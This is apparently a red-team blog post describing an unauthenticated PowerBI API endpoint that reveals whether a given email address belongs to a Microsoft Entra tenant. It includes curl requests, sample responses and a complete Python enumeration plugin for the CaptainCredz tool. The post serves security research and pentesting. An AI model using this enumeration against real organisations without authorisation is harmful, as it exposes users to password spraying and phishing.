TL;DR

External pentests and red teams often need reliable techniques for identifying and validating target users. Traditional methods like TeamsEnum and onedrive_user_enum are useful, but can be false positive-prone or require further authentication. The PowerBI API exposes an unauthenticated endpoint that returns a definitive {"accountExists":true} or a 404/500, which can be used to enumerate valid email addresses for a given organization.


Introduction

As adversaries, we’re constantly looking for new ways to perform enumeration as platforms and APIs shift. Within the Microsoft ecosystem this is especially common, they move fast, deprecate APIs (looking at you, Azure AD Graph), and regularly change how products authenticate and communicate.

During a red team, we needed a reliable way to enumerate users in a large Microsoft Entra environment that had tenants configured with both Managed and Federated domains. However, the existing options weren’t cutting it:

  • TeamsEnum required authentication to get reliable results
  • onedrive_user_enum was returning hits on deprovisioned or inactive accounts, making results noisy and unreliable
  • MS Graph-based techniques had changed behavior, either not returning correct results, limited to only managed tenants, or requiring an actual authentication attempt to determine account validity, which risks triggering Smart Lockout or spray detection rules

We needed something that was unauthenticated, low-noise, and accurate.


Finding the Endpoint

To start, we leaned on prior research. My colleague Dave Parillo (@coffeebearsec) and I had previously done work on PowerBI that we called LetItGo, where we found that under the right tenant conditions (specifically, if self-service signup was enabled and an expired-but-configured domain was available), you could get PowerBI to create a new account for you in the target tenant without credentials.

Taking a similar approach, we started digging into the PowerBI authentication flow more broadly. PowerBI and its sibling platforms, Microsoft Fabric and Power BI Embedded, are notable in that they’re the only Microsoft services (that we’ve found) that maintain their own branded pre-auth entry point (/singleSignOn) rather than handing off directly to login.microsoftonline.com. This means they have their own pre-authentication logic, and that logic needs to resolve account state before it knows where to send you.

Digging into the API calls made during that flow, we found that all three make use of this endpoint:

POST https://api.powerbi.com/AADRedirect/public/email/accountStatus
Content-Type: application/json

{"emailAddress": "target@organization.com"}

Only the email address of the target organization is required.


The Response

The response from this API couldn’t be cleaner from an enumeration perspective.

Valid Account (200 OK)

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 42
RequestId: a25c8c51-a67a-460f-984e-cfe6685237c9

{"accountExists":true}

Invalid Account (404 Not Found)

HTTP/1.1 404 Not Found
Content-Type: application/octet-stream
RequestId: d19f8666-fded-4e3c-9973-cf1b11383580

[empty body]

Nonexistent Organization (500 Internal Server Error)

HTTP/1.1 500 Internal Server Error
Content-Type: application/json; charset=utf-8
Content-Length: 128
RequestId: b265cd37-d2c1-4a2a-b148-1fedb0df31f9

{"error":{"code":"AADEmailAccountStatusFailed","pbi.error":{"code":"AADEmailAccountStatusFailed","parameters":{},"details":[]}}}

The signal is a combination of HTTP status code and body

  • A valid account gets a 200 with {"accountExists":true}
  • An invalid account gets a 404 with no body and a content type of application/octet-stream
  • An account with an org that doesn’t exist gets a 500 with {"error":...}.

Using It in Practice

The simplest possible test:

# Valid user
curl -s -X POST "https://api.powerbi.com/AADRedirect/public/email/accountStatus" \
  -H "Content-Type: application/json" \
  -H "Origin: https://app.powerbi.com" \
  -d '{"emailAddress":"user@targetorg.com"}'
# Returns: {"accountExists":true}

# Invalid user
curl -s -X POST "https://api.powerbi.com/AADRedirect/public/email/accountStatus" \
  -H "Content-Type: application/json" \
  -H "Origin: https://app.powerbi.com" \
  -d '{"emailAddress":"nobody@targetorg.com"}'
# Returns: (empty, 404) or ({"error":..., 500)

And the CaptainCredz plugin implementation, which handles this as a pure enumeration module:


class Plugin:
    def __init__(self, requester, pluginargs):
        self.requester = requester
        self.pluginargs = pluginargs

    def validate(self):
        return True, ""

    def testconnect(self, useragent):
        r = self.requester.get(
            "https://app.powerbi.com",
            headers={"User-Agent": useragent}
        )
        return r.status_code == 200

    def test_authenticate(self, username, password, useragent):
        data_response = {
            "result": None,
            "error": False,
            "output": "",
            "request": None
        }
        try:
            sess = self.requester.session()
            sess.headers.update({
                "User-Agent": useragent,
                "Content-Type": "application/json",
                "Origin": "https://app.powerbi.com",
            })
            r = sess.post(
                "https://api.powerbi.com/AADRedirect/public/email/accountStatus",
                json={"emailAddress": username},
                allow_redirects=False
            )
            data_response["request"] = r

            if r.status_code == 200:
                data_response["result"] = "potential"
                data_response["output"] = f"[+] VALID: {username}"
            elif r.status_code == 404:
                data_response["result"] = "nonexistant"
                data_response["output"] = f"[-] INVALID: {username}"
            elif r.status_code == 500:
                data_response["result"] = "nonexistant"
                data_response["output"] = f"[-] INVALID: {username}"
            else:
                data_response["result"] = "failure"
                data_response["output"] = f"[?] UNEXPECTED {r.status_code}: {username}"

        except Exception as ex:
            data_response["error"] = True
            data_response["output"] = str(ex)

        return data_response

Conclusion

User enumeration isn’t new, but having a single unauthenticated POST that returns a 200/404/500 for account validity is about as clean as it gets. No spray risk, no lockout, and no false positives from stale accounts. The fact that this lives under api.powerbi.com rather than the login.microsoftonline.com infrastructure makes this a valuable target for adversaries, as it’s an API for a product that prioritized broad adoption over tight auth controls.

One pattern worth internalizing: emerging or heavily-marketed Microsoft platforms like PowerBI, Fabric, Power BI Embedded, tend to maintain their own pre-auth flows outside the standard Entra HRD (home realm discovery) path, and those flows need to resolve account state somewhere. When you’re looking for new enumeration surfaces in a Microsoft environment, these bespoke sign-in flows are a good place to start. The attack surface is constantly evolving, and specific endpoints may be patched, but the pattern of looking here applies regardless.

If you have any questions or concerns, feel free to reach out to @illegitimateDA.